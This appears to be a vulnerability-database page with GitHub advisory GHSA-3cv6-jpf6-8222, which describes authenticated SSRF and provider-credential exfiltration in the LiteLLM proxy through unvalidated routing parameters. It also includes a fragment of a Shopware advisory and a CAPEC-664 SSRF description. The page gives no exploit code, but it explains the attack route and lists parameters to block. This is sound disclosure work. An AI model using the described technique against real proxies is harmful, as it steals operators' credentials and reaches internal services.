      "url": "https://github.com/shopware/shopware/commit/f32737b34798d4800b81c67efee17905380d2be4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/shopware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopware vulnerable to Server-Side Request Forgery (SSRF) \u2013 order invoice"
}

GHSA-3CV6-JPF6-8222

Vulnerability from github – Published: 2026-09-30 21:11 – Updated: 2026-09-30 21:11
VLAI
Summary
LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters
Details

Impact

Any authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive parameter and did not inspect parameters nested inside other request fields, so a caller could supply a routing or credential value that the proxy applied without clearing the operator's stored key. Any authenticated user could therefore exfiltrate the operator's upstream provider credentials and other configured secrets, and perform Server-Side Request Forgery against internal services reachable from the proxy.

Patches

Fixed in 1.96.2, 1.95.1, 1.94.3, 1.93.2, 1.92.2, 1.91.5, 1.90.7, 1.89.7, and 1.88.6.

Workarounds

Set general_settings.allow_client_side_credentials to false so callers cannot override connection parameters, restrict proxy keys to trusted callers, and block the affected parameters (api_base, base_url, model_list, fallbacks, provider credential fields) at a reverse proxy or API gateway.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.88.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.89.0"
            },
            {
              "fixed": "1.89.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.90.0"
            },
            {
              "fixed": "1.90.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.91.0"
            },
            {
              "fixed": "1.91.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.92.0"
            },
            {
              "fixed": "1.92.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.93.0"
            },
            {
              "fixed": "1.93.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.94.0"
            },
            {
              "fixed": "1.94.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.95.0"
            },
            {
              "fixed": "1.95.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litellm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.96.0"
            },
            {
              "fixed": "1.96.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T21:11:25Z",
    "nvd_published_at": "2026-09-02T18:21:28Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAny authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy\u0027s request-body validation was a denylist that did not cover every sensitive parameter and did not inspect parameters nested inside other request fields, so a caller could supply a routing or credential value that the proxy applied without clearing the operator\u0027s stored key. Any authenticated user could therefore exfiltrate the operator\u0027s upstream provider credentials and other configured secrets, and perform Server-Side Request Forgery against internal services reachable from the proxy.\n\n### Patches\n\nFixed in 1.96.2, 1.95.1, 1.94.3, 1.93.2, 1.92.2, 1.91.5, 1.90.7, 1.89.7, and 1.88.6.\n\n### Workarounds\n\nSet `general_settings.allow_client_side_credentials` to `false` so callers cannot override connection parameters, restrict proxy keys to trusted callers, and block the affected parameters (`api_base`, `base_url`, `model_list`, `fallbacks`, provider credential fields) at a reverse proxy or API gateway.",
  "id": "GHSA-3cv6-jpf6-8222",
  "modified": "2026-09-30T21:11:25Z",
  "published": "2026-09-30T21:11:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-3cv6-jpf6-8222"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84377"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/pull/36011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/pull/36314"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/pull/36494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/commit/473f72e63a9777d793fbbf57194d8ec4fb97bc1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/commit/820f247a6abba55cd87d130bef7bba7be3b29d37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BerriAI/litellm/commit/c898d341c02299cf2506d0d8e84cc67953043593"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BerriAI/litellm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.